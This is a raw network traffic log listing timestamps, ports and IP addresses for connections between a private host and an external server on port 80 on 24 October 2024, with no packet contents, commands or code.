Oct 24, 2024 19:30:14.147691965 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147711039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147732019 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147743940 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.147748947 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147761106 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.147780895 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148122072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148133993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148144007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148159027 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148185015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148497105 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148534060 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148597956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148610115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148622036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148633003 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148633003 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148644924 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148648977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148663044 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.148667097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.148694992 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149377108 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149415016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149492979 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149501085 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149525881 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149543047 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149593115 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149610043 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149616957 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149622917 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.149629116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149641991 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.149667978 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.150348902 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150360107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150373936 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150392056 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.150418043 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.150449991 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150461912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150474072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150485039 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.150485992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.150511980 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.150537014 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151305914 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151325941 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151340961 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151345015 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151370049 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151380062 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151390076 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151401997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151412964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151422977 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151426077 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.151441097 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.151457071 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.152276039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152287006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152298927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152313948 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.152342081 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.152421951 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152434111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152446985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152456045 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.152458906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.152486086 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.152507067 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.223442078 CEST	49979	443	192.168.2.5	104.102.49.254
Oct 24, 2024 19:30:14.271332026 CEST	443	49979	104.102.49.254	192.168.2.5
Oct 24, 2024 19:30:14.304172039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304198980 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304209948 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304222107 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304233074 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304244041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304246902 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304255962 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304265976 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304275990 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304276943 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304290056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304301977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304312944 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304315090 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304325104 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304352045 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304426908 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304439068 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304449081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304471016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304485083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.304557085 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304569960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304580927 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304591894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.304637909 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305025101 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305073023 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305162907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305176020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305186987 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305198908 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305210114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305211067 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305222988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305234909 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305246115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305263042 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305279970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305485964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305531979 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305551052 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305562973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305597067 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305619955 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305632114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305641890 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305655956 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305665016 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305680990 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305689096 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305700064 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305713892 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305737972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305763006 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305773973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305785894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.305798054 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.305828094 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307040930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307051897 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307063103 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307116032 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307126999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307137012 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307137966 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307145119 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307162046 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307189941 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307276011 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307287931 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307298899 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307311058 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307323933 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307331085 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307365894 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307365894 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307478905 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307488918 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307499886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307547092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307547092 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307575941 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307588100 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307598114 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307610035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307624102 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307661057 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307689905 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307702065 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307712078 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307723999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307732105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307735920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.307754993 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.307781935 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308543921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308556080 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308567047 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308588982 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308610916 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308619022 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308623075 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308634996 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308645964 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308676958 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308676958 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308676958 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308686972 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308696985 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308701038 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308708906 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308720112 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308743954 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.308859110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308871984 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.308912039 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309470892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309483051 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309494019 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309514999 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309534073 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309545040 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309556007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309566021 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309576988 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309586048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309612989 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309633970 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309653997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309665918 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309676886 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309688091 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309696913 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309700966 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.309726000 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.309747934 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.310388088 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.310405970 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.310437918 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.310455084 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460103035 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460130930 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460139036 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460144997 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460151911 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460158110 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460165024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460210085 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460216045 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460330009 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460357904 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460371017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460391998 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460405111 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460407972 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460416079 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460427999 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460439920 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460439920 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460457087 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460481882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460494041 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460494995 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460521936 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460549116 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460573912 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460587025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460597992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460609913 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460613966 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460622072 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460639954 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460663080 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460686922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460699081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460709095 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460735083 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460768938 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460793018 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460805893 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460815907 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460829020 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460841894 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.460845947 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460870028 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.460882902 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461000919 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461013079 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461025953 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461036921 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461047888 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461054087 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461061001 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461072922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461085081 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461087942 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461096048 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461122036 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461126089 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461137056 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461148024 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461159945 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461164951 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461184025 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461194992 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461194992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461209059 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461221933 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461229086 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461234093 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461246967 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461256981 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461268902 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461306095 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461330891 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461343050 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461354017 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461366892 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.461376905 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.461405039 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.465888977 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.465922117 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.465934992 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.465948105 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.465976000 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.465977907 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.465989113 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466000080 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466012001 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466020107 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466023922 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466046095 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466074944 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466145039 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466156960 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466166973 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466181993 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466192007 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466193914 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466204882 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466217041 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466227055 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466228962 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466239929 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466249943 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466253996 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466262102 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466296911 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466379881 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466392040 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466403008 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466425896 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466444016 CEST	80	49981	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:14.466447115 CEST	49981	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:14.466455936 CEST	80	49981	185.215.113.16	192.168.2.5
